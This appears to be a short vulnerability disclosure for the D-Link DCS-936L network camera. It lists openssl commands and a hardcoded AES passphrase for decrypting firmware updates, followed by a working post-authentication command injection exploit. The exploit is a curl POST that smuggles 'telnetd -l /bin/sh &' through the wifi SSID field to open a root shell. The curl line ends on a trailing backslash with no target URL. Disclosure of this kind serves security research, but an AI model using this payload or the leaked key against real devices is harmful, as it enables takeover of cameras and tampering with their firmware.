Encrypted Firmware Update

Firmware updates for the DCS-936L are encrypted with AES using a key, which is also encrypted.

After unpacking the firmware package, use the following command to decrypt the AES key:

openssl rsautl -decrypt -in aes.key.rsa -inkey "p.key" -out aes.key

Finally, use the following two commands to decrypt the firmware packages:

openssl aes-128-cbc -k "s7.303%_4&%&oj9e" -nosalt -d -in update.aes -out "update" || exit
openssl aes-128-cbc -k "s7.303%_4&%&oj9e" -nosalt -d -in update.bin.aes -out "update.bin" || exit

Post Auth Root

Command Injection: Post auth root via arbitrary command injection due to improper sanitization of the SSID field in the wifi configuration form.

curl -i -s -k -v -X 'POST' -H 'Host:' \
-H Referer: \
-H 'Cookie: language=eng; usePath=null' \
-H 'Authorization: Basic <CREDS>' \
--data 'wireless=1&security=0&encryption=0&wirelessBox=on&ssid=a;telnetd%20-l%20/bin/sh%20%26;SSID=&mode=0&optSecurity=0&optEncryption=TKIP&key=&extAntenna=0&channel=6' \
